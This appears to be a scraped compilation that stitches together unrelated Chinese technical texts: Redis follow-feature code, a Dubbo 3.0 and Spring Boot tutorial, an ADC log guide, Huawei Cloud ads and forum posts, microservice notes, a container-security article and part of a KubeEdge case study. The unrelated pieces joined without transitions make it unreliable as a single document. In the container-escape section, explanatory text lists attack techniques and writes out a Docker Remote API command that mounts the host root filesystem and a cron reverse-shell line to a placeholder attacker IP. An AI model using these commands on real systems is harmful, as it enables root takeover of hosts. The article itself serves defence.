一、Redis 实现好友关注 – 关注与取消关注需求：针对用户的操作，可以对用户进行关注和取消关注功能。在探店图文的详情页面中，可以关注发布笔记的作者具体实现思路：基于该表数据结构，实现2个接口关注和取关接口判断是否关注的接口关注是用户之间的关系，是博主与粉丝的关系，数据表如下：tb_followCREATE TABLE `tb_follow` (`id` bigint(20) NOT NULL AUTO_INCREMENT COMMENT '主键',`user_id` bigint(20) unsigned NOT NULL COMMENT '用户id',`follow_user_id` bigint(20) unsigned NOT NULL COMMENT '关联的用户id',`create_time` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP COMMENT '创建时间',PRIMARY KEY (`id`) USING BTREE) ENGINE=InnoDB AUTO_INCREMENT=9 DEFAULT CHARSET=utf8mb4 ROW_FORMAT=COMPACT;id为自增长，简化开发核心代码FollowController//关注@PutMapping("/{id}/{isFollow}")public Result follow(@PathVariable("id") Long followUserId, @PathVariable("isFollow") Boolean isFollow) {return followService.follow(followUserId, isFollow);}//取消关注@GetMapping("/or/not/{id}")public Result isFollow(@PathVariable("id") Long followUserId) {return followService.isFollow(followUserId);}FollowService@Overridepublic Result follow(Long followUserId, Boolean isFollow) {// 1.获取登录用户Long userId = UserHolder.getUser().getId();String key = "follows:" + userId;// 1.判断到底是关注还是取关if (isFollow) {// 2.关注，新增数据Follow follow = new Follow();follow.setUserId(userId);follow.setFollowUserId(followUserId);boolean isSuccess = save(follow);if (isSuccess) {stringRedisTemplate.opsForSet().add(key, followUserId.toString());}} else {// 3.取关，删除 delete from tb_follow where user_id = ? and follow_user_id = ?boolean isSuccess = remove(new QueryWrapper().eq("user_id", userId).eq("follow_user_id", followUserId));if (isSuccess) {// 把关注用户的id从Redis集合中移除stringRedisTemplate.opsForSet().remove(key, followUserId.toString());}}return Result.ok();}@Overridepublic Result isFollow(Long followUserId) {// 1.获取登录用户Long userId = UserHolder.getUser().getId();// 2.查询是否关注 select count(*) from tb_follow where user_id = ? and follow_user_id = ?Integer count = query().eq("user_id", userId).eq("follow_user_id", followUserId).count();// 3.判断return Result.ok(count > 0);}代码编写完毕，进行测试代码测试点击进行关注用户关注成功取消关注测试成功二、Redis 实现好友关注 – 共同关注功能实现共同关注好友功能，首先，需要进入博主发布的指定笔记页，然后点击博主的头像去查看详细信息核心代码如下UserController// UserController 根据id查询用户@GetMapping("/{id}")public Result queryUserById(@PathVariable("id") Long userId){// 查询详情User user = userService.getById(userId);if (user == null) {return Result.ok();}UserDTO userDTO = BeanUtil.copyProperties(user, UserDTO.class);// 返回return Result.ok(userDTO);}BlogController@GetMapping("/of/user")public Result queryBlogByUserId(@RequestParam(value = "current", defaultValue = "1") Integer current,@RequestParam("id") Long id) {// 根据用户查询Page page = blogService.query().eq("user_id", id).page(new Page<>(current, SystemConstants.MAX_PAGE_SIZE));// 获取当前页数据List records = page.getRecords();return Result.ok(records);}那么如何实现共同好友关注功能呢？需求：利用Redis中的数据结构，实现共同关注功能。 在博主个人页面展示出当前用户与博主的共同关注思路分析： 使用Redis的Set集合实现，我们把两人关注的人分别放入到一个Set集合中，然后再通过API去查看两个Set集合中的交集数据改造核心代码：当用户关注某位用户后，需要将数据存入Redis集合中，方便后续进行共同关注的实现，同时取消关注时，需要删除Redis中的集合FlowServiceImpl@Overridepublic Result follow(Long followUserId, Boolean isFollow) {// 1.获取登录用户Long userId = UserHolder.getUser().getId();String key = "follows:" + userId;// 1.判断到底是关注还是取关if (isFollow) {// 2.关注，新增数据Follow follow = new Follow();follow.setUserId(userId);follow.setFollowUserId(followUserId);boolean isSuccess = save(follow);if (isSuccess) {stringRedisTemplate.opsForSet().add(key, followUserId.toString());}} else {// 3.取关，删除 delete from tb_follow where user_id = ? and follow_user_id = ?boolean isSuccess = remove(new QueryWrapper().eq("user_id", userId).eq("follow_user_id", followUserId));if (isSuccess) {// 把关注用户的id从Redis集合中移除stringRedisTemplate.opsForSet().remove(key, followUserId.toString());}}return Result.ok();}// 具体获取好友共同关注代码@Overridepublic Result followCommons(Long id) {// 1.获取当前用户Long userId = UserHolder.getUser().getId();String key = "follows:" + userId;// 2.求交集String key2 = "follows:" + id;Set intersect = stringRedisTemplate.opsForSet().intersect(key, key2);if (intersect == null || intersect.isEmpty()) {// 无交集return Result.ok(Collections.emptyList());}// 3.解析id集合List ids = intersect.stream().map(Long::valueOf).collect(Collectors.toList());// 4.查询用户List users = userService.listByIds(ids).stream().map(user -> BeanUtil.copyProperties(user, UserDTO.class)).collect(Collectors.toList());return Result.ok(users);}进行测试⛵小结以上就是【Bug 终结者】对 微服务Spring Boot 整合 Redis 实现 好友关注 的简单介绍，Redis 实现好友关注功能也是 利用Set集合、ZSet集合实现这样一个需求，同时，采用Redis来实现更加的快速，减少系统的消耗，更加快速的实现数据展示！ 下篇博文我们继续 关注 如何 使用Redis 实现推送消息到粉丝收件箱以及滚动分页查询！————————————————版权声明：本文为CSDN博主「Bug 终结者」的原创文章，遵循CC 4.0 BY-SA版权协议，转载请附上原文出处链接及本声明。原文链接：https://blog.csdn.net/weixin_45526437/article/details/128276229

 前言 随着云原生的兴起，越来越多的微服务化改造在演进过程中也开始提上日程，微服务治理框架能否很好的兼容和支持云原生的体系，也成为很多架构设计者考虑的重要因素；  在微服务治理框架中，dubbo作为一款优秀的服务治理框架，随着dubbo3.0的发布，通过增加的新特性，为云原生的支持带来了福音，也为dubbo2.X过渡到3.0提供了更多好用，且性能高效的亮点；  dubbo3.0新特性介绍 官网新特性介绍 ，下面结合官网的介绍做一些关于 dubbo3.x的新特性总结。  一、注册模型的改变 我们知道，dubbo2.X版本，服务都是以接口的形式注册到注册中心（如zk）。一个接口在注册中心中就是一个数据节点，多个接口就注册多个节点。  当dubbo提供的服务非常多的时候，会给注册中心带来非常大的读写压力，比如在并发量较高的时候，消费端因服务寻址耗费的时间会拉长。而在dubbo3.0版本中对这个问题进行了优化。 dubbo3.0引入服务级别的注册 在dubbo3.0中，只需将应用名和对应的ip、端口注册到注册中心即可。无需再对每个接口进行注册（可通过配置参数进行选择）。以此来减少注册中心的压力。 但是只注册应用，如何查找消费端具体调用的是哪个服务呢？ 于是dubbo3.0引入了元数据服务的概念。 具体做法就是，接口提供的服务映射关系，都存在了元数据服务里。元数据服务的数据可以默认存在dubbo内部实现的一个服务里，也可以手动指定存入ZK等服务中。 这样，消费端通过注册中心获取服务列表，然后通过元数据服务映射具体某个接口，进行远程调用。 由此可见，尽管在3.0中以应用纬度进行了注册，看似减轻了注册中心的压力，但引入了元数据服务，也提高了使用的复杂度。二、引入Triple协议 Dubbo3.0新引入了Triple协议。Triple协议可以视为gRPC协议的copy版本。 什么是gRPC? 如果你在了解dubbo3.0之前，或者说没听过gRPC，说明你所涉及的业务或者数据量不需要用到gRPC来达到很高的性能的。所以Triple协议所带来的性能的提升对你而言也是可有可无的。 dubbo认为，http1.X版本性能比较低，主要是因为协议的数据格式复杂，解析带来的一定的性能瓶颈，所以http2.0对性能进行了提升。 而Triple协议是基于http2.0的高性能的基础上，又支持gRPC的远程调用，更具兼容性。这就是Triple协议的特性。 其实在dubbo2.X版本时，dubbo协议是默认的协议，而在3.0版本，Triple协议成为了默认协议。 相比dubbo协议，Triple协议的特点有: triple协议兼容了gPRC（Triple服务可以直接调用gRPC服务，反过来也可以）； dubbo协议不是基于的HTTP，不够通用，triple协议底层基于HTTP所以更通用（比如跨语言、跨异构系统实现起来比较方便）； dubbo协议不支持流式调用； 三、跨语言调用 跨语言调用对于dubbo来说可以说是一个很大的突破，3.0 支持go语言，python语言等应用进行接口的调用。 涉及到跨语言调用的服务接口，可考虑使用dubbo作为服务。可以使用protobuf格式的数据作为数据传输格式，来进行跨语言调用。 四、SpringCloud的互通 至目前而已，经管两者之间可以实现互通，但是Dubbo3.0与SpringCloud的互通方式也是很繁琐，但看趋势以后的发展肯定会很方便的和SpringCloud进行互通。让我们拭目以待。 dubbo3.0与springboot的整合 接下来演示下与springboot的整合，方便后续在业务中快速运用，完整结构如下： 统一定义服务接口和实体类，被其他工程模块引用； consumer，服务消费方模块； provider，服务提供方模块；   common-service 模块 pomy依赖                      org.projectlombok             lombok             1.18.8          服务接口 import com.congge.entity.User; public interface UserService {     User getByUserId(String userId); } 实体类 @Data @NoArgsConstructor @AllArgsConstructor public class User implements Serializable {       private static final long serialVersionUID = 8728327146677888239L;       private String userId;     private String userName;     private String address; } provider模块     1、pom依赖                             com.congge             common-service             1.0-SNAPSHOT                                 org.springframework.boot             spring-boot-starter             2.6.6                                 org.projectlombok             lombok             1.18.22                                 org.apache.dubbo             dubbo-spring-boot-starter             3.0.7                                 org.apache.dubbo             dubbo-rpc-dubbo             3.0.7                                 org.apache.dubbo             dubbo-rpc-rest             3.0.6                                 org.apache.dubbo             dubbo-registry-zookeeper             3.0.7                  2、核心配置文件 ## 这里的配置属性只是基础配置，如需更多功能配置，请自行扩展 dubbo:   application:     name: dubbo-provider   registry:     address: zookeeper://127.0.0.1:2181   protocol:     name: dubbo     port: 20880 3、服务实现类 @DubboService public class UserServiceImpl implements UserService {       // 模拟数据     private static final List USERS = Arrays.asList(             new User("001", "张三", "北京市东城区"),             new User("002", "李四", "杭州市西湖区"),             new User("003", "王五", "武汉市汉口区")     );       @Override     public User getByUserId(String userId) {         User user = USERS.stream().filter(item -> item.getUserId().equals(userId)).findFirst().get();         return user;     }   }  4、启动类 import org.apache.dubbo.config.spring.context.annotation.EnableDubbo; import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication;   @SpringBootApplication @EnableDubbo public class ProviderApp {       public static void main(String[] args) {         SpringApplication.run(ProviderApp.class, args);     }   } consumer模块     1、pom依赖                             com.congge             common-service             1.0-SNAPSHOT                                 org.springframework.boot             spring-boot-starter-web             2.6.6                                 org.projectlombok             lombok             1.18.22                                 org.apache.dubbo             dubbo-spring-boot-starter             3.0.7                                 org.apache.dubbo             dubbo-rpc-dubbo             3.0.7                                 org.apache.dubbo             dubbo-rpc-rest             3.0.9                                 org.apache.dubbo             dubbo-registry-zookeeper             3.0.7                  2、核心配置文件 dubbo:   application:     name: dubbo-consumer   registry:     address: zookeeper://127.0.0.1:2181   protocol:     name: dubbo     port: 20880   # 由于zookeeper启动时要占用8080端口，我们要显示指定端口，要不然会端口冲突 server:   port: 8081 3、接口层 为了模拟外部调用效果，这里提供一个接口类  import com.congge.entity.User; import com.congge.service.MyUserService; import com.congge.service.UserService; import org.apache.dubbo.config.annotation.DubboReference; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.http.ResponseEntity; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.PathVariable; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.RestController;   @RestController public class UserController {       /*@DubboReference     private UserService userService;*/       @Autowired     private MyUserService myUserService;       //http://localhost:8081/user/dubbo?userId=001     @GetMapping("/user/dubbo")     public Object getByUserIdV1(@RequestParam("userId") String userId) {         return myUserService.getUserFromDubbo();     }       //http://localhost:8081/user/rest?userId=001     @GetMapping("/user/rest")     public Object getByUserIdV2(@RequestParam("userId") String userId) {         return myUserService.getUserFromRest();     }   }  4、业务实现层 import com.congge.entity.User; import org.apache.dubbo.config.annotation.DubboReference; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.context.annotation.Bean; import org.springframework.stereotype.Service; import org.springframework.web.client.RestTemplate;   @Service public class MyUserService {       @Autowired     private RestTemplate restTemplate;       @DubboReference     UserService userService;       public User getUserFromDubbo(){         User user = userService.getByUserId("001");         return user;     }       public Object getUserFromRest() {         User user = restTemplate.getForObject("http://localhost:8082/user/001",User.class);         return user;     } }  5、启动类 import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication;   @SpringBootApplication public class ConsumerApp {       public static void main(String[] args) {         SpringApplication.run(ConsumerApp.class, args);     }   } 功能测试 1、启动zookeeper服务     2、分别启动生产端和消费端的服务  3、浏览器调用接口模拟   通过上面的案例，我们完成了dubbo3.0与springboot的整合使用，希望对看到的你有用哦。 ———————————————— 版权声明：本文为CSDN博主「逆风飞翔的小叔」的原创文章，遵循CC 4.0 BY-SA版权协议，转载请附上原文出处链接及本声明。 原文链接：https://blog.csdn.net/congge_study/article/details/126919969 

无实验环境重置按钮

前言:有一些小伙伴在客户现场布置了一套ADC的OP环境。在前端页面显示的报错也许会不全，这个时候就需要登录到后台去看日志，才能分析出是什么问题。以下为一些术语，帮助了解：OC：On Cloud，从字面上理解是要把应用构建和运行在云上。OP：On Premises，指部署在客户服务器上的环境，一般是在客户内部的局域网FS：FusionStage，华为的GDE微服务容器管理平台。也是俗称的“管理面”准备工作需要知道以下信息，才能进行后续操作：FS的登录地址FS登录账号密码登录虚拟机的密码虚拟机root权限的密码需要知道自己要看那个微服务的日志，如我有RPA管理中心的报错，那我就要去看adc-rpa的日志（可以看“模块与服务对照表”）以上信息如果不知道，要找给你装环境的人提供模块与服务对照表领域服务名模块错误码前缀描述编排adc-model编排引擎ADC.RT.MODELADC模型adc-trigger网络业务编排ADC.RT.TRIGGER表数据变更触发器（ADC2ModelBatch中的模型数据同步依赖此微服务）adc-model-batch编排引擎ADC.RT.MODBAT模型数据集中处理（模型数据归档、模型数据同步）adc-service资产服务组ADC.RT.SERVICE运行态逻辑流 (模型服务业务处理：模型服务、模型规则、脚本，翻译器）adc-app-mgt资产服务组ADC.RT.APPMGTapp运行态管理adc-app-mgt-web资产服务组　app管理运行态前端adc-batch资产服务组ADC.RT.BATCHExcel导入导出/文件服务adc-ui用户体验ADC.RT.UI运行态UI（页面、卡片）adc-ui-web用户体验-运行态前台adc-static（微服务名重复）用户体验ADC.RT.STC静态资源adc-intg编排引擎ADC.RT.INTG运行态集成服务adc-mobile终端服务ADC.RT.UI终端SPL引擎运行态微服务adc-mobile-web终端服务-终端SPL引擎运行态静态资源RPAadc-rpaRPAADC_RT_RPARPA运行态管理中心adc-rpa-webRPA-RPA运行态页面日志查看方法下面用查看adc-intg的日志作为例子。1、 找到intg的虚拟机节点1.1、 登录FS管理面管理面信息：访问链接：https://xx.xx.xx.xx:xxxx（如果不知道，要找装环境的人要访问地址）账号：xxxxxx密码：xxxxxx登录页面如下1.2、查看K8S应用部署1.3、搜索找到intg得知adc-intg在这两个节点：（每个环境都不一样，按照实际情况获取）10.151.37.1610.151.37.142.登录虚拟机节点2.1、下载MobaXterm需要下载一个MobaXterm去访问linux虚拟机（也可以去使用其他的工具，方法自定）MobaXterm官网下载地址：https://mobaxterm.mobatek.net/download.html2.2、安装完后，双击点开，新增Session配置完后，双击进入Linux虚拟机，输入密码：xxxxxx。输入密码时，屏幕不会显示密码，继续输入，完成enter即可当显示“Authorized users only, All activities may be monitored and reported”，则说明登录成功2.3、切换root用户控制台输入su root填入密码 xxxxx2.4、 找到intg的PID控制台输入：docker ps | grep intg以上图为例，52396c1bbe02 为pid2.5、进入docker容器控制台输入：docker exec -it 52396c1bbe02 bash2.6、查看日志tailf -n 200 /opt/mateinfo/logs/app/adc-intg.log某些linux镜像没有tailf 可以尝试tailtail -f -n 200 /opt/mateinfo/logs/app/adc-intg.log或者使用less, vi 命令都可以上图为日志，可以拿着这个日志去找华为工程师注意：intg在两个虚拟机节点上，因为系统是负载均衡，所以需要同时登录到两个节点查看。只登录一个节点，如果日志报在另外一个节点，就会miss掉。想要查看其他的微服务也是同样的操作。

随着各行各业的竞争加剧，落后的应用架构成为许多企业敏捷创新的阻碍。怎样让你的业务迭代更快？怎样让你的应用跑的更快？转型云原生2.0正当时！#华为云618# 多款中间件、微服务系列产品，助力应用架构与设计现代化！  分布式缓存Redis版，单分片10万QPS，首购低至9.9元 分布式消息服务DMS，最高支持百万TPS，提供Kafka、RabbitMQ、RocketMQ多个版本，首购体验30元起 更有微服务引擎、API网关,等13+产品全场3折起！马上下单，即可参与抽取FreeBuds耳机，满额再送MateBook笔记本！>点击这里，马上进入活动专场<

CSE可以管理本地启动的微服务吗？本地的服务是不是只需要配置华为云CSE上的注册服务发现地址和配置中心地址就可以管理微服务了？还是说必须要把服务部署后才能用CSE管理呢？

第7章：华为云微服务架构介绍• 应用架构的演进• 什么是微服务微服务架构是一种架构模式，将单体应用划分成一组小的服务，通过服务之间互相协作，共同实现系统功能。• 微服务的特征• 单体架构：一种软件设计规范，用一种将业务逻辑、数据、显示分离的方法组织代码• 单体架构的优缺点优点：1. 开发和测试简单2. 部署简单3. 运维简单缺点：1. 交付周期长2. 维护成本增加3. 可扩展性差4. 技术选型成本高5. 新成员培养周期长• 从单体架构演进到SOA服务化架构• 微服务架构• 微服务的优势和挑战优势：服务模块边界更清晰、支持独立的部署、允许技术多样性挑战：分布式编程难度大有风险、需处理分布式系统的一致性、增加运维复杂性• 常见的微服务框架1. Spring Cloud2. ServiceComb3. Apache Dubbo• 微服务架构模式1. 微服务之间的RPC通信2. 分布式微服务实例和服务发现3. 配置外置、动态、集中的配置管理4. 提供熔断、限流、隔离、负载均衡等微服务治理能力5. 分布式事务管理能力6. 调用链、集中日志采集和检索• Spring Cloud框架1. 服务注册：服务实例将自身的服务信息注册到注册中心。2. 服务发现：服务实例请求注册中心获取所依赖服务信息。3. 负载均衡：是高可用网络基础架构的关键组件，通常用于将工作负载分布到多个服务器来提高网站、应用、数据库或其他服务的性能和可靠性。4. API网关：微服务网关，介于客户端与服务器之间的中间层，所有的外部请求都会先经过微服务网关。5. 配置中心：把项目中各种配置、各种参数、各种开关，全都放到一个集中的地方进行统一管理，并提供一套标准的接口。• 熔断：在互联网系统中，当下游服务因访问压力过大而响应变慢或失败，上游服务为了保护系统整体可用性，可暂时切断对下游服务的调用。• 链路追踪：对一次请求涉及多个服务链路进行日志记录，性能监控即链路追踪。• Spring Cloud的技术实现• Spring Cloud实现—服务注册发现和集中配置• Spring Cloud微服务典型部署• 微服务引擎CSE用于微服务应用的云中间件，为用户提供注册发现、服务治理、配置管理等高性能和高韧性的企业级服务能力。可无缝兼容Spring Cloud、ServiceComb等开源生态。• CSE功能介绍1. 无需构建和维护Eureka,Consul等开源软件2. Spring Cloud应用无需修改代码，使用spring-cloud-huawei轻松接入3. 提供用户友好的配置管理，服务治理、安全认证等功能• CSE功能组件与Spring Cloud框架的关系• Spring Cloud Huawei的位置和作用构建存在Spring Cloud应用之上，基于Spring Cloud现有能力构建的，Spring Cloud huawei提供的一系列新的组件。• Spring Cloud Huawei功能介绍• 微服务代码框架• Spring Cloud Huawei接入流程1. 引入依赖包2. 接入服务注册发现中心3. 接入配置中心• Spring Cloud huawei开发引入Spring Cloud Huawei依赖配置微服务信息和CSE引擎信息，从而接入微服务引擎CSE微服务注册发现配置管理服务治理• 华为云应用管理与运维平台功能框架ServiceStage是一个应用托管和微服务管理平台。1. 应用开发：基于spring_cloud_huawei模板进行微服务部署2. 通过流水线功能实现应用的持续交付3. ServiceStage支持应用部署在多种基础设置上云容器引擎CCE部署弹性云服务ECS部署云容器实例CCI部署• ServiceStage支持对应用的全生命周期管理• 应用运维管理服务AOM以云上应用为中心，为企业应用提供一站式立体运维平台• AOM服务可监控的对象AOM日志管理• 如何进行日志采集—LTS日志组：是云日志服务进行日志管理的基本单位，可以创建日志流以及设置日志存储时间。日志流：日志读写的基本单位，日志组中可以创建日志流，方便对日志进一步分类管理。日志采集：采集器支持3种类型：在ECS或私有云节点上安装采集器，通过配置日志路径即可完成采集，用户通过SDK\API接口方式上报日志数据和通过云服务自动完成数据对接。• Service支持对微服务动态治理• 微服务完成部署后，根据微服务的运行情况，配置响应的策略，对服务进行治理。

先说下我的环境和目的我在s3服务器上搭建了cse环境，下载了下载本地轻量化微服务引擎，搭建了注册中心配置中心，同时下载了demo 的basic中的三个服务注册到注册中心去在30103操作页面配置yaml时就遇到了问题，第一个没理解配置管理怎么用第二个，配置了配置项，但是返回读取的信息还是工程里的yaml配置的信息，并不是从配置中心获取的怎么样才能像spring-cloud-config那样让服务从配置中心读取配置项数据呢？哪位大佬帮忙解决下，谢谢

4月23日世界读书日全称“世界图书与版权日”，又称“世界图书日”。其设立目的是推动更多的人去阅读和写作，希望所有人都能尊重和感谢为人类文明做出过巨大贡献的文学、文化、科学、思想大师们，保护知识产权。为支持正版，鼓励开发者培养持续学习的优良品质，华为云软件开发平台DevCloud发起了本次读书日活动，联合清华大学出版社、机械工业出版社精选34本好书样章资源包，为你的软件工程师之路补充粮草~参与流程论坛回帖：#一起读书吧#+推荐图书书名+推荐心得 即可开启隐藏楼层获得大咖书单下载地址！[hide]专区地址：https://devcloud.huaweicloud.com/expert/press?utm_source=1[/hide]书籍太多从哪里开始看？不要在收藏夹吃灰啦，专家领读，不迷路！领读视频部分内容展示视频观看地址：https://classroom.devcloud.huaweicloud.com/joinclass/d17483a4aa2f4022b707fc105526b7ac/1你最喜欢哪一本？分享活动给小伙伴，我们会综合下载量和活动结束后社群投票数，有机会对人气最高的图书进行直播解读！华为云软件开发读书群一手资料分享，专家直播领读，尽在此处...

>摘要：云原生2.0时代，任何企业都可以成为“新云原生企业”，作为云原生的代表技术之一的容器，每个企业都应该对容器安全有所了解。本文分享自华为云社区《[云原生2.0时代：企业更应了解一下容器安全](https://huaweicloud.blog.csdn.net/article/details/114066177)》，原文作者：华为助力企业上云。 随着云原生技术的成熟和市场需求的升级，云计算的发展已步入新的阶段，云原生2.0时代已经到来。从技术角度看，以容器、微服务以及动态编排为代表的云原生技术蓬勃发展，成为赋能业务创新的重要推动力，并已经应用到企业核心业务。从市场角度看，云原生技术已在金融、制造、互联网等多个行业得到广泛验证，支持的业务场景也愈加丰富，行业生态日渐繁荣。云原生2.0是企业智能升级的新阶段，企业云化从“ON Cloud”走向“IN Cloud”，新生能力与既有能力有机协同、立而不破，实现资源高效、应用敏捷、业务智能、安全可信，成为“新云原生企业”。 云原生2.0时代，任何企业都可以成为“新云原生企业”，作为云原生的代表技术之一的容器，每个企业都应该对容器安全有所了解。 传统的虚拟机能够基于虚拟化技术更加有效的利用硬件计算资源，可以实现云租户的隔离与资源共享。相比虚拟机来说，容器更轻、更快，但是作为一种新技术，容器的安全防护也与虚拟机所有不同。 # 容器 VS 虚拟机 容器与虚拟机具有相似的资源隔离和分配价值，但容器的作用不同，因为容器是虚拟化操作系统而不是硬件。容器更便携，更高效。  容器VS虚拟机 虚拟机（VM）是对物理硬件的抽象，将一台服务器转化为多台服务器。Hypervisor允许在一台机器上运行多个虚拟机。每个虚拟机都包含操作系统、应用程序、必要的二进制文件和库的完整副本，占用数十GB的空间。虚拟机启动速度也比较慢。 容器是应用程序层的一个抽象，将代码和依赖打包在一起。多个容器可以运行在同一台机器上，与其他容器共享操作系统内核，每个容器在用户空间中作为隔离的进程运行。容器比虚拟机占用更少的空间（容器镜像通常只有几十MB大小），可以处理更多的应用程序。 # 容器逃逸  容器逃逸，是容器技术启用以来一直被关注的问题，甚至被认为是容器的首要安全问题。所谓“逃逸”，指的是“流氓”容器/虚拟机尝试突破隔离环境的限制，访问宿主系统或者在同一个系统上的同驻容器或虚拟机。从而造成敏感信息泄露，或者系统及服务发生DOS的行为。  但正是由于容器与宿主系统共享内核，因此容器与宿主机有着更大的接触面，隔离层次更少，更容易从容器内实施逃逸攻击。因此，如何解决容器逃逸安全风险，避免容器逃逸攻击带来的损失是容器安全中最为重要的一个问题。 # 容器逃逸常用手段 ## （1）通过容器自身漏洞及内核漏洞逃逸  攻击的主要途径之一就是利用漏洞，通过程序设计或实现的缺陷来执行非法操作，容器逃逸也不例外。容器自身漏洞是其利用进行逃逸的路径之一，同时由于容器共享宿主系统内核，因此内核漏洞是其逃逸的另一路径，同时由于内核漏洞的数量远远大于容器自身漏洞，因此内核漏洞甚至成为容器逃逸更为主要的一个手段。 **1）利用容器漏洞逃逸 – shocker攻击** Shocker攻击是容器逃逸最著名的案例，其本质是利用了一个不常用的系统调用open_by_handle_at，同时借助docker1.0前版本并未限制CAP_DAC_READ_SEARCH能力，并将容器启动时会挂载宿主机文件到容器内（如旧版本的/.dockerinit，新版本的/etc/hosts）作为起点，执行暴力破解攻击，最终获取到要访问的宿主系统文件的句柄信息并进行读取，从而实现逃逸。 Github地址：https://github.com/gabrtv/shocker 容器执行shocker攻击逃逸访问宿主系统/etc/shadow文件：  2）内核漏洞利用逃逸 – dirtycow攻击  DirtyCow（脏牛漏洞，CVE-2016-5195）是Linux内核中的一个权限提升漏洞，其也可被容器利用实施逃逸。容器利用dirtycow漏洞改写虚拟动态共享库VDSO（Virtual Dynamically Shared Objec），并将shellcode置入其中，当主机系统进程调用并执行修改后的内容时，就会借用此进程身份执行置入的shellcode，并最终在容器内获得一个来自主机的root权限的shell。  ## （2）不安全配置引发逃逸 **1）不安全启动，如privileged特权容器** 容器以--privileged参数启动时称为特权容器，特权容器顾名思义具有较高权限，包括对宿主机上的设备的访问权限。因此，攻击者可以直接在容器内mount主机设备并进行文件访问，从而轻而易举实现逃逸。   **2）不安全挂载，如挂载docker.sock到容器**  图片来源：https://medium.com/better-programming/about-var-run-docker-sock-3bfd276e12fd Docker.sock文件是一个Unix domain socket文件，是Docker daemon默认监听的套接字文件，docker client通过它与docker daemon进行通信。docker client将信息查询和下发命令等请求通过docker.sock发给docker daemon，然后由deamon执行具体请求，包括镜像查询、容器创建等。 将docker.sock挂载到容器内，可以在容器内继续运行一个容器，实现docker in docker，并可在容器内容器启动时通过-v参数将宿主机根目录挂载到容器内，从而在容器内访问宿主机文件，实现逃逸。  **3）Docker remote api未授权访问** 默认情况下，docker daemon只允许通过unix domain socket – docker.sock进行本地通信操作，但除此之外，docker daemon也提供了Restful API供远端client访问（daemon通过-H参数指定监听端口），如果未对访问进行权限控制及合规性检查，则攻击者也可以访问这个API执行高危操作，并实施逃逸攻击。 例如一种攻击场景： - 通过Remote API创建一个容器，并将宿主系统根目录挂载到容器内： `# docker -H tcp://$IP:$PORT run -it -v /:/mnt ubuntu /bin/bash` 其中：$IP表示docker daemon服务ip，$PORT表示Remote API监听端口 - 将反弹shell命令写入计划任务文件 `# echo '* * * * * /bin/bash -i >& /dev/tcp/$IP/$PORT 0>&1' >> /mnt/var/spool/cron/crontabs/root` 其中：$IP表示攻击端IP，$PROT表示攻击端监听端口 - 攻击端监听上一步中的$PORT端口，获取来自对端（docker服务所在系统）的具有root权限得反弹shell，并任意访问。 # 华为云容器安全服务CGS之逃逸安全防护方案  # 华为云容器安全服务CGS 华为云容器安全服务CGS构建了容器安全威胁纵深防御体系，提供包括镜像扫描、威胁检测与威胁防护的一整套容器安全能力，提供针对容器的Build、Ship、Run全生命周期保护能力，渗透到整个容器DevOps流程，保证容器虚拟环境从开发到生产整个流程的安全。其中，容器逃逸检测是CGS的核心功能之一，它通过如下手段构建系统化的容器逃逸全面防护能力： ## （1）监控容器不安全配置启动 前文中提到，不安全配置是容器逃逸的一个重要原因。因此，监控容器的不安全启动也是容器逃逸防护的一个重要手段。CGS可以针对容器启动的各种不安全配置进行监控，包括启动特权容器、挂载宿主机文件、安全策略关闭、特权端口映射等，从容器创建伊始就检测逃逸风险，实现整体防护方案第一步。 ## （2）容器行为深度分析 容器启动后，CGS可对容器运行过程中的行为进行实时跟踪和观察，监控容器内的进程运行、文件访问、网络连接、系统调用等行为，并对行为进行深度分析，从行为过程体现出来的特征到行为所产生的结果进行全面分析检测，有效发现容器已知和未知漏洞利用逃逸攻击行为并进行告警。  ## （3）容器基线机器学习 一般而言，容器的行为通常固定且纯粹，比如一个提供web服务的容器内可能只会运行一个nginx进程，一个提供DB服务的容器内可能只会运行一个mysql进程，并且进程所执行的操作，包括文件访问、系统调用、网络连接等行为都有固定合理范围，因此可以对容器圈定正常行为范围，构建行为基线。CGS利用机器学习技术，从静态和动态两个维度分析容器正常行为并建立基线，使得基线模型更准确、更完整，然后根据基线跟踪容器行为，感知基线以外的异常行为，实现对攻击行为的全面感知，并有效提升对于容器利用0day漏洞进行逃逸攻击的检测能力。  华为云CGS容器逃逸方案防护机制内置在防护平台，无需用户参与即可实现容器逃逸系统化检测，具有良好的易用性，同时方案采用事件驱动机制实现性能高、反应快，为容器安全保驾护航。

>摘要：为保证高速公路上门架系统的落地项目的成功落地，选择K8s和KubeEdge来进行整体的应用和边缘节点管理。本文分享自华为云社区《[如何使用Kubernetes管理中国高速公路上的10万边缘节点？](https://huaweicloud.blog.csdn.net/article/details/113683195)》，原文作者：技术火炬手。 # 一、项目背景 本项目是在高速公路ETC联网和推动取消省界收费站的大前提下，门架系统的落地，也就是要把门架部署在覆盖全国范围的高速公路上，收集车辆通行的牌示信息，以及相应的交易信息。 整体的情况是在边缘侧，即高速公路上会部署大量的门架和相应的控制器，相应的边缘终端，这些终端大概10万台，其上部署了相关的应用以收集相关信息。超过50万个应用部署到边缘节点，收集到信息后，通过收费专网向省中心以及路网中心上传对应的数据。 **本次项目的工作挑战主要有两个方面：** 将近10万台异构设备的管理，包括arm，x86等异构设备。 50余万个应用的生命周期管理 **为保证项目的成功落地，我们对整体架构做了选型，最终选择了K8s和KubeEdge来进行整体的应用和边缘节点管理。** # 二、为什么选择Kubernetes 在项目里，虽然说是部署在边缘侧的应用，但它的复杂程度已经和云上是类似的了，在边缘侧部署的应用已经是由很多个微服务组成的。所以Kubernetes对于支撑这种微服务化的、云原生化的应用部署和大规模管理的能力，同样也适用于这个项目在边缘侧的使用。 **具体来说，有一些典型的部署需求：** - 双机热备 - 多机多活互备 - 有关联的应用同节点部署以提升应用间交互效率 - 同一应用的不同实例跨节点部署以提升可用性 - 依据边缘节点的不同属性将应用部署于不同分组中 - 定义独立于节点的应用部署以及实现满足条件的新边缘节点上线后自动安装应用 **这些需求，用K8s的这些Deployment、Pod、ReplicaSet、DaemonSet等核心对象来表示，是非常适合的。所以我们就选择了Kubernetes。** 